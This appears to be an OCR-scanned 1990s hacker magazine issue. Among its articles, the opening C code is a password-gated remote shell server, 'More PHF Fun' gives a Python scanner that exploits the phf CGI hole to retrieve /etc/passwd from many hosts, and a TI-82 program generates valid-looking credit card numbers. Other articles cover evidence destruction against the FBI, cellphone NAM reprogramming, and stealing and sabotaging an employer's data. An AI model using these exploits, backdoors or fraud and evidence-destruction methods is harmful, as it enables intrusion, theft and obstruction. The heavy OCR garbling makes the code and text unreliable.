read(in, buf, sizeof(buf));
strcpy (buf, "set prompt='PMA> '\n*);
write(pipin, buf, strlen(buf));
read(in, buf, sizeof (buf));
while(1)
getoutput () ;

)

int getoutput ()

(

cnt = read(in, buf, sizeof(buf));
write (newsockfd, buf, cnt);

)

«
close (newsockfd) ; int seewhat()
continue; /*go wait (
for next user*/ /*dont let ‘em do anything util they type
) in the dumb password*/
do_child(); if (passok)
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return;
if (!strcmp(buf, passwd))

passok = (int) strcpy(buf, "echo
ok\n*);
else

strcpy (buf, “"echo nope\n®);
)

int logit(char *msg)
{

/*sometimes useful when debugging*/

log = fopen(*pma.log*, "a");
fprintf(log, "%s*, msg);
fclose(log);

)

I+
socklib.c
this module has the socket stuff needed to

get an established connection.
basically the server side calls

socket_declare() and socket_accept(). the
client side calls socket_connect().
*/

#include <stdio.h>
#include <ctype.h>

tinclude <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define TRUE 1
#define FALSE 0

static u_long squeeze_ip();
static int four_octets();

int socket_connect(char *hostname, int
port)

(

struct sockaddr_in srvadr;

struct hostent *hinfo;

struct in_addr *haddr;

char **address_list;

int sockfd;

memset (ksrvadr, '\0‘, sizeof(srvadr));
srvadr.sin_family = AF_INET;
if (four_octets(hostname))
srvadr.sin_addr.s_addr =
squeeze_ip (hostname) ;
else
[§
hinfo = gethostbyname (hostname);
if (hinfo == NULL)
return(-1);
address_list = hinfo->h_addr_list;
haddr = (struct in_addr *)
*address_list;
srvadr.sin_addr.s_addr = haddr->s_addr;
)
srvadr.sin_port = htons(port);
if ((sockfd = socket (AF_INET, SOCK_STREAM,
0)) == -1)

return(-1);
)
return sockfd;
)

int socket_declare(int port)
«

struct sockaddr_in srvadr;
int sockf

if ((sockfd = socket (AF_INET, SOCK_STREAM,

0)) < 0)
return(-1);
memset (ksrvadr, '\0', sizeof(srvadr));
srvadr.sin_family = AF_INET;
srvadr.sin_addr.s_addr =
htonl (INADDR_ANY
srvadr.sin_port = htons (port);
if (bind(sockfd, (struct sockaddr
*)&srvadr, sizeof(srvadr)) == -1)
(
close (sockfd) ;
return(-1);
)
if (listen(sockfd, 0) == -1)
(
close (sockfd) ;
return(-1);
)
return sockfd;

)

int socket_accept (int insockfd)
«

int clisockfd;

int clilen;

struct sockaddr_in cliadr;

clilen = sizeof(cliadr);

clisockfd = accept (insockfd, (struct
sockaddr *)&cliadr, &clilen);

return clisockfd;

)

static u_long squeeze_ip(char *ipstr)
(
int ipl,ip2,ip3, ipd;
union
«
u_char ichar(4];
u_long ilong;
} iunion;

sscanf (ipstr, "%d.%d.%d.%d*, &ipl, &ip2,

&ip3, &ipd);

iunion.ichar[0] =
iunion.ichar(1] =
iunion.ichar[2) =
iunion.ichar(3] =
return(iunion.ilong);

)

static int four_octets(char *hname)
(

int ans = TRUE;

int i;

for (i = 0; i < strlen(hname); ++i)

return(-1); if ((hname(i) < '0' || hname(i) > '9')
if (connect(sockfd, (struct sockaddr && hname(i) !'= '.')
*)&srvadr, sizeof(srvadr)) == -1) ans = FALSE;

( return(ans);

close (sockfd); )
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by Chocolate Phoetus

In recent times, the Air Force home page has been
hacked by someone with enough patience to deal with the
bloody thing. We’ve all probably seen the hacked pages
now thanks to 2600.com, but how many of you know how
the military reacts to such an “attack?” What you’re about
to read may help you think twice about any ideas you
have i sites. I'm not i
anything, and I’m certainly not telling you how to run
your affairs, simply giving you a little advice that’s com-
monly known in the “.mil” and “.gov” community.

The military does not, as a general rule, leave “sen-
sitive” systems containing classified information open
to anyone who wants to “dial in.” There are many differ-
ent ways of preventing access, from closed systems with
no dialups, to restricting usage to users with “.gov” or
“.mil” addresses. You won’t, as a matter of course, find
classified information on a government computer that is
hooked up to the net. That’s not to say that you won’t
find material you shouldn’t, by law, access. There’s
plenty of information protected by the Privacy Act float-
ing around out there. But, let’s face it, that info is pretty
boring unless you are into social engineering, and know
how to use the information once you get it. The govern-
ment world has strange protocols and routines that
somcone “not in the know” will “tread on” unknow-
ingly. The simple misuse of a bit of jargon or ignorance
of an acronym will often raise eyebrows, and get you
“looked into.” If you are bewildered by that last line,
that’s a clear indication you don’t understand the minds
of people who work for these agencies. Beware - your
ignorance could get you into trouble.

Mistakes Hackers Make
One of the biggest idiosyncrasies of “.gov” and
.mil” people is the incessant need for immediate dam-
age control. Example: when the Air Force homepage
was hacked, a press release was immediately put out,
saying that the incident was being investigated, and that
hackers had put “pornography” on the site. Anyone who
has seen the 2600 posts of these pages knows that a sin-
gle moving .gif with a couple having sex was on there.
The impression by the press release was that there were
loads of vile images posted to the poor Air Force home-
page. The people who wrote the press release would
never consider telling the truth about what happened -
that someone made them look foolish by cracking a pa-
thetic security system and posting loads of sarcasm to-
wards the Air Force in general
Hackers who put “pornography” on their target sites
are actually helping these people put “spin control” on
these incidents. Many hackers are also blissfully unaware
that the Air Force (as well as other branches of govern-
ment) has a special office that is dedicated to research and

arresting so-called computer criminals. By putting links to
other pages, you could be getting your friends an un-
wanted phone call by people in blue suits. You may also be
leading right back to yourself, if you frequent these sites.

Sadly, many hackers go right for the throat when
they “alter” these websites. It’s clear that the page has
been hacked, usually discovered by some retired
sergeant with nothing better to do than surf the web, and
then rat you out. Subtlety is a desired trait. Instead of
changing the entire page, why do hackers not make
more subtle alterations? The best pranks are the ones
where the mark doesn’t realize he’s being had, at least
not right away. Altering only the links, for example, to
g0 to porn sites would be a hell of a lot more shocking
to a “.mil” person surfing the net than logging into the
Air Force hy and seeing that hacked
it.” Many people surf the “.mil” sites at work. They’re
permitted to do that. But the people who monitor the
networks (and yes, they do) are looking for “unautho-
rized” or “not for official business” surfing and down-
loading. Imagine the sick feeling the person surfing on
their government computer would feel to link to what
they think is some other base’s site, only to be taken to
“www.bigtits.com”. These people live in an atmosphere
of fear, and seeing that on the government computer
would give them apoplectic fits.

1 would never encourage anyone to do something as
risky and profitless as to hack or to intrude on a govern-
ment web site. These systems are run on taxpayer dol-
lars, and that means your dollars. But there are some
interesting legal stipulations that affect the people who
have hacked these sites:

On the front gate of any military installation, a sign
can clearly be read stating that access to the installation
is permitted only by the commander’s authority, and that
trespassing is a Federal Offense. Don’t think that those
warnings apply only to your trying to walk into the in-
stallation. The same rule applies to “.mil” sites as well.
Even though there is no sensitive information on these
systems, you can still be arrested for espionage for trying
to hack a government site. The intent is what they’re after.
Consider this if you're thinking about “becoming a hacker.”

When you “modem in” to a military site, you are also
entering into a military phone system, which is moi
tored. Every telephone in every military base has a
sticker saying so. This is no joke, and your modem is not
immune. Use of the system implies consent, even if you
object later. There is legal precedent for this - challenging
it will do you no good in court. If a military site is hacked,
someone will be assigned to look into it, sometimes in
conjunction with the FBI. Hacking is taken very seriously
by the government, and they do not give up easily.

I hope this has helped someone rethink hacking a
“.gov” or “mil” site.
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More PHF Fun

by ChezeHead

By now most of you should be familiar at least in passing with the “phf hole” due to file permissions on many
web servers. Quite possibly you may have even tried some of the nifty tricks possible on your local server to see if
you were at risk. But I am sure that most of you were quite disgusted as you went out to try this newfound hacking
trick and had a hard time finding a site to try this nifty backdoor on. This little script has two goals: to give a handy
tool for finding sites with the phf backdoor, and to introduce “Python” to the general hacking population. Python is
fast becoming the network “quick hack” language of choice by the hacking population. The only problem is that
most hackers don’t realize it exists! The Python script I have included will hopefully show how easily powerful net-
work applications can be programmed. The script also solves the problem of finding sites with the phf bug. If one had
the inclination, after a quick trip to rs.internic.net the edu.zone file could be parsed quite easily into a file compatible
with the script. This has been left as a trivial exercise for the reader. This script should work with the win95 versions
of Python with little or no change.

#1/usr/local/bin/python
¥ Web Searcher for passwd files using phf permissions hole...
# give it a file with one address per line and it will search
# certain combinations of the address ie www.address.
# A parsed zone file from internic would probably be a good starting place!
# I threw this script together pretty quickly so please excuse the ugly code...
# ChezeHead 11/25/96
# combination list of prefixes to tr
combos="", 'www. ', 'wWww.CS.', 'www.math
L 'www.cis. "
* think of an import like a C #include
import string
import urllib
import os
# function to convert . to _ for systems that can't use multiple .'s
def convert_link(link
temp=""
for u in link:
if us='.v:

‘www.physics.', ‘www.engr.', '‘www.lib.'\

u='_
temp=temp+u
return temp
# get filename info, and open the files.
filename=raw_input (*Filename To Use? *)
logfilename=raw_input (*Logname To Use? *)
output_path=raw_input (*Output Path *)
print "Using filename *+filename+*...*
print "Adding To Logfile *+logfilename+®...
hostfile=open(filename, 'r’)
logfile=open (output_path+logfilename, ‘a*)
# my coding is a bit messy here but it does the job..
flag=0
while not flag:
link=string.strip(hostfile.readline())
if linkt='"
for u in combos:
thislink=uslink
print "Trying host: *+thislink
# Attempt to retrieve the URL
try:
tempfile=urllib.urlretrieve(*http://*+thislink+*/cgi-bin/phf?Jserver="\
+"thislink$0A/bin/cat$20/etc/ Qalias=&Qname=fookQemail=6Q"\
+*nickname=&Qof fice_phone=&Qcallsign=&Qproxy=&Qhighschool=6Q"\
+*S1ip=HTTP/1.0")
except :
print "Host "+thislink+" error connecting"
logfile.write("error connecting: *)
for compressing the retrieved files you could use lines like these...
os.system("/bin/compress *+tempfile[0])
# os.rename(tempfile(0)+*.gz*, output_path+convert_link(thislink+*.gz
try:
0s.rename (tempfile(0), output_paths+convert_link(thislink))
except :
print "tempfile doesn't exist*
logfile.write(thislinks*\r\n*)

-

# if you wish you could now do some clean up or extra parsing of the files...
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How 10 GENERATE CREDIT CARD NumBERS on A CALCULATOR

by DETHMaster

Being bored one day I went home and
wrote a program for my calculator that
would have the user enter a six digit prefix
and then generate a valid CC number. This
is not to be used for committing credit card
fraud, but should be used for learning how a
simple algorithm works and how to pro-
gram a TI-82. This will probably require a
little bit of TI-82 programming experience.
This has been tested and shown to work.

:0->2Z

:ClrHome

:{(2,16)_>dim [A)

:Output (1,1, "THIS WILL MAKE A 16 DIGIT
CC NUMBER. ")

:Pause

:1->P

iPart 10rand->[A)(1,7)
:ipart 10rand->[A](1,8)
:ipPart 10rand->(A](1,9)
:ipart 10Orand->[A] (1,10)
:ipart 10rand->[A](1,11)
:iPart 10rand->[(A](1,12)
:iPart 10rand->[A](1,13)
JiPart 1l0rand->[A] (1,14)
:iPart 10rand->[A] (1,15)
:iPart 10rand->[A](1,16)
:Lbl 1

:ClrHome

:For(I,1,6)

:Disp “ENTER DIGIT “,P, “IN THE PREFIX:"
: INPUT A

:A->[A](1,P)

:P+1->P

:ClrHome

:End

:If [A](1,1)=0

:then

:1->P

:ClrHome

:Output (1,1, "Invalid Prefix*)
: Pause

:ClrHome

:Goto 1

:End

:Lbl 2
:[A1(1,1)*2->[A](2,1)

: (A1 (1,2)->[A)(2,2)

s [A)(1,1)*2->[A)(2,3)

1 (A1 (1,2)->[A)(2,4)
:[A)(1,1)*2->(A)(2,5)

1 [A1(1,2)->[A)(2,6)

+[A)(1,1)*2->[A)(2,7)
: (A1 (1,2)->[A) (2,8)
:[A1(1,1)*2->[A)(2,9)
:[A](1,2)->[A]) (2,10)
:(A)(1,1)*2->[A) (2,11)
+ [A)(1,2)->[A)(2,12)
:[A)(1,1)*2->[A] (2,13)
: (A} (1,2)->[A) (2,14)
: [A)(1,1)*2->[A) (2,15)
1 [A)(1,2)->(A)(2,16)

:For(P,1,16)

:If [A](2,P)>9

:Then

: [A)(2,P)-9->[A] (2,P)
:End

:End

:0->S

:For(P,1,16)

: [A] (2,P)+S->S

:End

:If (S/10)=iPart (S/10)
:Then

:Goto 3

:Else

:[A)(1,16)+1->[A](1,16)
:If (A](1,16)>9

:Then

10->[A) (1,16)
:[A)(1,15)+1->[A] (1,15)
End

:If {A)(1,15)>9

:Then

:0->[A] (1,15)

: [A](1,14)+1->[A) (1,14)
:End

:If [A](1,14)>9

:Then

->(A) (1,14)

nd

+1->2

utput (8,1, "ATTEMPTS: )
utput (8,11,2)

GEN-82")
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Rajex Evidence

by F. Leader

Do you run a gambling ring? How about
a house of pleasure? Could you be a big
time drug trafficker, or maybe you're just a
hacker or a phone phreak with some “sensi-
tive” information. If you are you probably
know of the wonders of paper. You can
write all types of stuff on this wonderful in-
vention and it stays there. Great for: keep-
ing financial records, storing phone
numbers, plans, holding FBI code names,
and, last but not least, evidence,

The FBI has an entire branch dedicated
to using this wonderful substance known as
paper against us.

The weaker mind tells you, “Oh just
crumple it real good and hard and that’s it.”
Wrong. The FBI has been dealing with
things like this for years. At first they put the
delicate paper in between two plates of glass.
Then later they used plexiglass. Weighing
about a pound each, they were difficult to
work with. So now they coat the sheets with
a thin layer of polyester restoring the paper
to a better condition than before.

The weaker mind says a little bit louder,
“Well this time we’ll crumple it real good,
so good that if anyone even touches it, it’ll
fall to pieces.” Wrong one more time.

The feds have this stuff called parylene.
It comes in a granular form and when
baked in paper it actually rebuilds paper.
Here comes the weaker mind again which
says, “Well then, I'll just burn it, Ms.
Smarty Pants.”” Need I say it again.

Burning is a great idea if done right. If it
is not burned to ashes then there is a very
good chance that the remaining part could
be read. This especially holds true for burn-

ing a pile of papers. The papers in the mid-
dle usually do not get enough oxygen to
feed the flames. Even if the papers are com-
pletely charred, the feds can get their in-
frared lights and photography that makes
the carbon become transparent and the ink
opaque.

“Oh Lord, what will we do now!” cries
the weak mind. Not to worry. I have two
possible answers,

First choice: flash paper. Flash paper or
nitrocellulose is used by magicians in corny
tricks, but it won’t be so corny when that
little trick gets you away from the law. The
down side is that it is highly unstable. I read
once about a fed lab being destroyed be-
cause some dummy had left a bunch of
flash paper in a metal file cabinet that hap-
pened to be in direct sunlight. Since a ream
of flash paper has the explosive power of a
small bomb, let’s just say that a lot of peo-
ple got away due to lack of evidence. Flash
paper should always be refrigerated! Even
then I do not recommend using it for large
scale operations because you want to de-
stroy evidence, not blow up a small build-
ing.

Second: water-soluble paper. This is the
favorite of illegal gambling operations,
They place buckets of water at every desk
and when the heat comes everything gets a
quick shower and no more evidence, Water-
soluble paper is used in a lot of commercial
products such as laundry detergent pack-
ages and pipeline cleaners. Blank water-
soluble is extremely hard to find and even
possession of it can be used as evidence. So
if you do use it, only store sheets in use or
make sure you destroy all the paper.

SAY IT IN A FAX

| and state agencies fight over who gets to tap t

516-474-2677
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Cellular Programming Dalta

by Threc

By this point in time almost everyone knows

at least some information on cell fones. The most

knowledge iated with cells is re-
lated to Motorola and larger brand names. Not to
mention this knowledge is varied from pin outs
to sids in scarce bits. There seems to be little de-
tailed information covered about NAM program-
ming on specific phones or a variety of phones,
at least as far as I've seen. So I've decided to do a
write-up of a fair amount of fones and how to en-
ter program mode, with some instructions and a
little background.

Later on in the future, I hope to reverse engi-
neer a few cells. By the way, I find it ironic how
the law has decided it’s okay for someone to re-
verse engineer something, but it’s not okay to just
rip the information out of their server. Oh well,
enjoy - I hope this helps at least someone.

CT-352/55

The first of the fones I'd like to cover is the
CT-352/55, including CT-350/351’s. I'm going to
try to be as specific as possible.

1. To enter program mode:
Type: *3001#12345<STO>00
Response: Store not done

2. To program the phone number:
Press: <RCL>02
Response: 1111111111 (or the previously pro-
grammed number in the fone)
Press and HOLD until the display is empty:
<CLR>
Response: Gee, | wonder... a cleared screen?
Type: Fone number + <STO> 02
Response: Replace Contents?
Now considering you just went through all this
I’m guessing that you want to Replace. If you
don’t, well that’s your problem.
Type: <STO>
Response: Stored

3. This part is more interesting than the other
two - now you enter the carrier parameters. Oh,
by the way, if you people are doing this in steps
of 1, 2, 3, etc., you can jump around. It’s not en-
couraged unless you have some prior knowledge
or experience with cells, or you catch on quick.

Type: <RCL> + 03

Response: 38*1*1*334*15*15 (or whatever it
was before)

Press and HOLD until the display is empty
again: <CLR>

Response: Figure it out.

Type: [parameters] + <STO> + 03 (on the CT-
352, add the long distance and International
code)

Response: Replace Contents?

If you don’t know exactly what the parame-
ters mean, here’s a brief overview. Say for exam-
ple we have a string of: 00038*1*1*333*01*10.
The 00038 represents your home or system.
Don’t bother with the ones, you won'’t really need
to mess with them. If you’re interested though, I
believe them to be just a terminator for the string,
or MIN MARK and something else. Hack it out,
if you're interested. 333 represents the channel.
There are two basic channels - 333, which is A
and 334, which is B. The 01 is a representation of
what should always have the format of 0 and the
last digit of the phone number you chose before.
This is based upon my experiences with these
types of cells. This would seem to be the over-
load class. The only exception is ACCOL can be
a value from 00 to 15, but these always seem to
have the zero and last number. 10 is simply the
group ID (examples: 10, 12, 15).

Extras for the CT-352/355: for the above ex-
ample it’s the same - just stick a pound sign on
the end of the 10 and then add 0111*1 after it
(00038*1*1*333*01*10#0111*1). This 0111 is
the international code. The 1 is unfamiliar to
me....

4. Now we go on to enter the security code
parameters. By this point, things should be al-
most simple enough where you really shouldn’t
need to read along, but can figure it out for your-
self. Even though, I’ll include a commentary.
Type: <RCL>01
This isn't a definite response: 911#*911#0*1234
Hold down until the screen is empty: <CLR>
Response: a blank little screen
Tpe: 911#*911#0*

If you have a CT-350 the default’s 1234. If
you have a CT-351/352 it would be 12345. Also,
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the 0 denotes that you want English. If you want
Spanish, put in 1. For French, put in 2.

Type: <STO>01

Response: Replace contents?

To accept press <STO>.

Now that you’re done programming this par-
ticular phone, you should turn it off for the para-
meters to be recognized. From what I’ve heard,
you should wait two hours before testing the
phone. I've also heard you should wait several
hours from another source. So my suggestion is
to just let the thing sit for a day. If you’re not ex-
actly sure why you are supposed to leave it off,
I’ll tell you. It takes the cell carrier an exponen-
tial amount of time to activate cell phone num-
bers. So you will just have to wait a bit before it’s
activated.

By the way, the settings list is:
<Menu> 0 Lock Phone
<Menu> 1 Carrier Priority (A/B)
<Menu> 2 Shows last number dialed
<Menu> 3 Call Timer(s)
<Menu> 4 On/Off for the display light...

very useful

<Menu> 5 Key tones, keep ‘em on! I think
it's a must.

<Menu> 6 Ring volume

<Menu>7 Pri/Sec Nam Select
<Menu> 8 Send Dual Tone Multi Fre-
quency (DTMF) Tones

CP-170

The next phone we'’re going to be talking
about is the CP-170. [Note: To determine the cor-
rect ESN for Uniden phones add 172 to the serial

number.]

I hope, sincerely, that you’re not so techni-
cally impaired you don’t know how to turn on the
cell, or other fundamentals covered or not in the
previous section.

Determine which NAM you’d like to choose.
For Nam|1 press: 1 <STO>9 0

Response: 1

For Nam2 press: 2 <STO>9 0

Response: 2

Simple ain’t it?

Here’s the strange part. Turn it off now....

Now press and hold the * and # (reminds me
of the Bravo pager), and press <PWR>. Now
continue to hold the * and # for several seconds.
Wait till you see NO SVC IN USE PWR ROAM
on the screen. Make sure you don’t get jumpy
and hit it when it shows all of them except
ROAM!

Now enter the code 32218591. After all that
crap we get put into programming mode. If you
hear any noise, you messed up. So turn the thing
off and start with the * and # again.

Now a SID will appear.... Figure out your
SID and enter it. Then press <STO> and enter the
next item number to be programmed. Press the
single digit number of the area you want to move
to, displayed below. After you’re done with each
area, press <STO>.

Continue doing this until you’re all done
getting everything in there. When you're
done doing this, press send to write to the
NAM. If everything worked out, you’ll see
the word “PASS” appear. Otherwise, press
<CLR> and start over.

Area Description Valid Data
0 SID 3 digits (00000 through 32767)
1 LU - tells the mobile if it must be preregistered with the sys 1 digit (0 or 1)
2 Determines whether or not to have an area code sent
each time a call is made 1 digit (O or 1)
3 MIN1+2 10 digits
4 IPCH (initial paging channel) 4 digits (non wireline (0333 for “A”) or
wireline provider (0334 for “B”) sys)
5 ACCOL, determine priority in an overload. The Government

thought it would be nice in case of an emergency for police,
etc. to have priority over other subscribers. No standard used

in the US at this time 2 digits (00 through 15)
6 PS - should identify the initial paging channel 1 digit (0 for “B” or 1 for “A™)
7 GIM - indicates how many bits of the SID starting with the
most significant comprises the group ID 2 digits
8 Lock Mode 4 digits (0000 to 9999)
9 DTMF Duration 1 Digit (0 for 100 msec or 1 for
end to end)
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Technophone 901

Now it comes time for the Technophone
901’s NAM info to be revealed. Similar to the
CT's this is fairly easy to program. Remember to
turn the phone on first.

Press: #000000##953739# + <STO> + 99 +
<STO> + <STO>

Response: None

Press: <PWR>

Response: It’s off, it can’t respond.

Press: <PWR>

Response: Which NAM?

Press: [1 - 3]+ <STO> (which NAM you want to
program)

Response: System ID

Remember, that means 1 through 3. Don’t go
pressing 1,2,3. You pick one, not all of them!
Press: [system number(5 digits)] + <STO>
Response: NO
Press: [Min 2 (area code) + Min 1 (telephone
number)] + <STO>
Response: Group ID Mark

Within the brackets, you should have 10 dig-
its, comprised of the area code and the telephone
number.

Press: [GIM (Group ID Mark)] + <STO>
Response: Save NAM?

The GIM is generally two digits long. See the
CP-170 section for more details.

Press: <SEND>
Response: Continue?

So technically you just agreed to save the in-
formation you provided. If you don’t want to
save it, I think you can figure out what you’re
supposed to hit.

Press: <END>

Response: Which NAM?

This just ended your current programming ses-
sion with the NAM you were working on. If you
wanted to do something to another, this would be
the point where you’d enter the number.

Press: <END>

Response: None

Exits programming altogether.

I personally like this phone because it has
three NAM’s. Not all too many phones have this.
Generally you're lucky to get dual NAM’. It’s
got other nice features as well.

CT-100/101/200/201
Now that it’s been a bit since we’ve discussed

the CT line of cells, I thought it'd be nice to con-
tinue with a few other series that are “more com-
plex.” These phones’ are the
CT-100/101/200/201.

The CT-200 line are fun because most of
them require programming via a computer. To do
this we’re also going to need a NAM adapter,
programming disk, and serial cable. It’s probably
easiest if you have a laptop lying around to hook
it up to that.

On the CT-100/101, type: *17*3001*[lock
code]*

On the CT-200/201, Type: *17*1003*[lock
code]*

The default lock code is, like most cells,
1234,

The cell will go through the list of all the
things it wants you to enter. They should be easy
to figure out since I've already discussed each
part of a NAM previously. It’ll go through ask-
ing: HO-Id, ACCESS, LOCAL, Phone n, Class,
PAGE ch, O-Load, Group, SEC.

HO-Id (home system ID) is required, Phone
n (phone number) is required, PAGE ch (paging
channel) is required, and Group is required. The
only one that might seem a tad obscure is SEC.
This is the 4 digit security code. After each
choice, for example HO-Id, you hit <SEL> to
complete your choice and move on to the next.

Ericson

To continue, I'll discuss Ericson. This phone
has a neat feature in that it has “short” NAM pro-
gramming and “long” NAM programming. Short
is for something that needs a quick fix, which
comes in handy.
“Short” Mode:
Press and hold down: <FCN> + 987
Response: SER NUMBER [with the telephone’s
ESN]
The ESN has 11 digits and “isn’t” changeable.
Nothing in the world of electronics can’t be
changed. Some things are just harder than others.
Press: * [or] #
Response: MIN and SID

This “short” mode has three things. It dis-
plays the ESN, the MIN, and SID. To cycle
through them just press the star or pound sign.
Press: <END>
Response: None

This exits short programming mode.
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“Long” Mode:
Press and hold down: <FCN> + 923885
Response: ESN

Now like before you’ll be brought to a dis-
play of items. It will show ESN, Emergency?,
MIN x?, SUB No x, SID x, MARK x OFF/ON,
IPCH x, ACCOLC x, and GIM x. The x repre-
sents the NAM number you want. To change the
setting, press any key.

A few items here that might be obscure to
you would be ESN and/or SUB NO x. ESN is the
electronic serial number, which I explained a lit-
tle bit before. SUB NO x is a subscriber phone
number. You also specify a phone number in
MIN x.

This is a Dual NAM cell. So your choices for
x would be 1 or 2.

To switch through options, press the pound
(#) sign.

‘When you’re done just press <PWR>.

EZ400

The last phone I'm going to write on is the
EZ400 produced by the Technophone Corpora-
tion. This is just your normal cell, nothing really
special. Actually, I really can’t say that, because
there may be some features I've yet to come
across that are dazzling.

Always remember - you turn on your units
before you follow any of the instructions.
Press: *3001#12345 <STO> 00
Response: No Response
Press: <Clear>
Response: Store not done
Press: 911#*911# [Language code] * [Security
code] + <STO> + 01 + <STO>
Response: Normal Display

Remember from the other Technophone that

the language codes are 0, 1, and 2. The default
security code is 1234. You should really cross
reference similar brands since they always seem
to share similar if not the same technique to ac-
cess thé NAM. I do believe that the 911 is the
emergency number which can be changed, to
whatever you please (3-10 digits?).

Press: [MIN 1 + MIN 2] + <STO> + [NAM] +
<STO>

Response: Normal Display

To save it to NAM 1 you would enter: [10
digit phone number] + <STO> + 02 + <STO>

To save to NAM 2 you would do the same
thing except change 02 to 04: [10 digit phone
number] + <STO> + 04 + <STO>
Press: [System ID] + *1*1* + [IPCH] + * +
[ACCOL] + * + [GIM] + <STO> + [NAM] +
<STO>
Response: Normal Display

For NAM 1, enter 03 for [NAM]. For NAM
2, enter 05.

Now turn off the unit and wait 10 seconds.
Turn the unit back on. If you made some sort of
error, it will let you know by displaying NAM
ERROR on the screen. You will have to do it over
if this happens.

If requested by others, or for my own refer-
ence, I will add to this list of cell phones. I'm also
looking for a way to access NAM programming
in Nokia’s and Audiovox’s. If anyone has this in-
formation, I'd appreciate it if they would forward
it to threc@li.net. As I mentioned before, I intend
to reverse i some cells, specifically a Mo-
torola DPC 550. If this has already been accom-
plished, I don’t feel like re-inventing the wheel.
Please notify me so I can work on another model.
I hope this is helpful and informational.

BEYOND HOPE

The long awaited sequel to 1994's
3 Hackers On Planet Earth taking
place in New York City on August
8,9, and 10. See inside back cover
for details or call (516) 473-2626,
email beyondhope@2600.com, or

browse http://www.hope.net
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@Bell Atlantic NYNEX Mobile

December 23, 1996

L —
4
Re:  Authentication Policy

Aer discussions with our indirect partners regarding the challenges of the current authentication policy,
Bell Al ic NYNEX Mobile (BANM) will make the changes outlined below. These changes were made
10 ensure that both ions are protected from the ifications of cloning fraud and we are able fo
continue to successfully sel lar service to our customers:

ion Policy:  BANM requires all distribution channels to activate approved authenticatable
equipment on the BANM network

Authent

New Effcctive Date:  February 1, 1997 (moved from January 1, 1997)

Chargeback Policy: Al new equipment sales will be authenticatable with random A-Key.
Conversions of non-suthenticatable equipment will be handled s follows:
While the Agent/Retailer should make every effort to upgrade any non-
i units, BANM will charg iler fifty (550)
%__.aa::q.a.§8§.ssn=_§=_._n8.._3n_p

le to activate authentication from the fol

Itis important to understand the BANM is cu 0
.85“&;%.." ‘Audiovox, Motorola, Nokia & Ericsson. We are aggressively working with other
manufacturers to support their product and we will update you as soon as BANM approves their
suthenticatable units. BANM must also require that approved authenticatable equipment be pre-
programmed with random A-keys, versus zcro default, from the manufacturer. You will not be responsible
{0 track the A-keys, as BANM has developed an automated process with the manufacturers to load the A~
keys into our switch.

parties to ensure our common goal of activating
Juestions, we have

auached a bricf Q&A document for your review.
If you have any additional questions on this, or wish to discuss it further, please contact me T
Thank you.

el

‘Sales Manager ‘
A "

This little memo is being passed around to our favorite cellular company’s vendors along with “proprietary and
confidential” explanations of this system called “Authentication.” They define it as “an anti-fraud technology which
validates a customer on our Network by Cryptography.” Two pieces of “private information” known as an “A-Key”
and “Shared Secret Data” (SSD) reside in both the phone and a database at the cellular switch. These two bits of data

are never transmitted and thus, “the new A will eli cloning fraud as we know it to-
day.” The “A-Key” can either default to all zeros or be a random number. BANM is requiring their retailers to sell the
random kind. “A ication” is it d loaded into the switch from the manufacturer. The customer, or

y
for that matter the retailer, doesn’t have to do anything at all. In addition to the manufacturers listed in this memo,
agreements are expected soon from Sony, Panasonic, OKI, NEC. and Mitsubishi. Motorola phones with “Authenti-
cation” are indicated by “EE3” on the back or beneath the battery. Nokia has “AU” following the model number. Au-
diovox models 405A, 460, 560, 850A, 3600A, 9100A, or phones with a symbol of a black key are ready for
“Authentication”, as are Ericsson models 600, 630, and 738. “Authentication,” which takes up to 48 hours to be acti-
vated for new customers (“via nightly batch processing”), is designed to eliminate the need for a PIN in the home re-
gion and eventually while roaming.
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Downsizing Insurance

by Hans Gegen
You can buy insurance for just about any-
thing these days. Some kinds of insurance, how-
ever, are better procured at home... or in the
office. In an increasingly worker-hostile business
environment it’s best to have something on hand

lieved. So, if you’re going to play dumb, stay
dumb to the outside world. Once caught, be
warned that you have already started a trail.)
Approach all of your actions as if you were
prepared to explain it to a jury (just hope that it
doesn’t come to that!). The key is believability,

in case disaster strikes. I don’t d doing
anything illegal. But your employers should be
vaguely aware that if they let you go arbitrarily,
there will be consequences. I once watched a co-
worker clean out his desk after being let go. He
was so angry about what happene 4 he was stuff-
ing pens, calculators, note pads, and staplers in
his bag. This was fairly pathetic. In the end, even
a few hundred dollars worth of office supplies
won'’t be missed. If you want to be really missed,
make a “fire kit.”

Before I get into specifics, I want to stress
that you should begin working on your fire kit
long before you’re put on the death watch. So
start today. In fact, start poking around the cor-
ners of the company’s networks and file cabinets
for sensitive material as soon as you’re hired.
Watch what comes in on the fax machine. If you
see the president’s assistant photocopying some-
thing, distract him or her so that they leave the
original in the machine.

This leads me to your second tactic: plausible
deniability. It’s worked for the CIA for 50+ years,
and you can make it work for you! Yes, if you’re
going to be caught nosing around somewhere
where you shouldn’t be, it’s important to have an
alibi ready - and a good one at that.

Boss: Why were you digging around in the file
servers?

You: What’s a file server?

Boss: The place where all of our computer files
are stored.

You: Oooh. That. I'm sorry, I'm new! I’m still
trying to figure out where my predecessor’s
memos are stored.

Boss: Oh. Here, let me show you.

(A note on my imagined dialogue. It’s impor-
tant to your credibility to understand how your
co-workers perceive your computer savviness. If
they know that you can recompile Linux kernels
on a unicycle, then you’re not going to be be-

and who has a clear and precise recol-
lection of events will be most believable. In
short, don’t make enemies, make notes.
Step One: Collecting Sensitive Infc i

With these precepts in mind, you should be-
gin your fire kit. What’s in a fire kit, you ask?
Well, basically anything that will make your
company worse off without you than with you.
This can late into actual d fintelli-
gence that your company would not want you
taking with you as you’re being escorted to the
door on your last day. I work for a building main-
tenance firm in downtown Philadelphia. Some of
the components in my fire kit are:
Rates charged clients.
Contracts/proposals.
Personal contact databases. (ACT! databases,
for example, are often networked. If you’re care-
ful not to leave a trail, you can get client notes
and histories for all of your company’s clientele
in one fell swoop!)
Pay records. This makes your boss real nervous.
Future business plans.

Lotus Notes archives.
Potentially embarrassing e-mails authored by
your superiors. (For le, your boss confid

in an e-mail that they’ve overcharged a client.)
Just about anything that your company’s com-
petition will drool over.

Step Two: Making Your Successor’s Job Impossible

Your fire kit can also consist of nothing more
than a systematic effort to make your successor’s
job impossible. If this is done carefully, your
company will genuflect every time your name is
mentioned. (“Why did we let go of Hans? He was
the only one who could do this job!”) If, however,
they suspect that you intentionally destroyed data
that your co-worker needed, they will curse and
spit at any mention of your name. The key is to
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leave behind a work trail that is organized but ex-
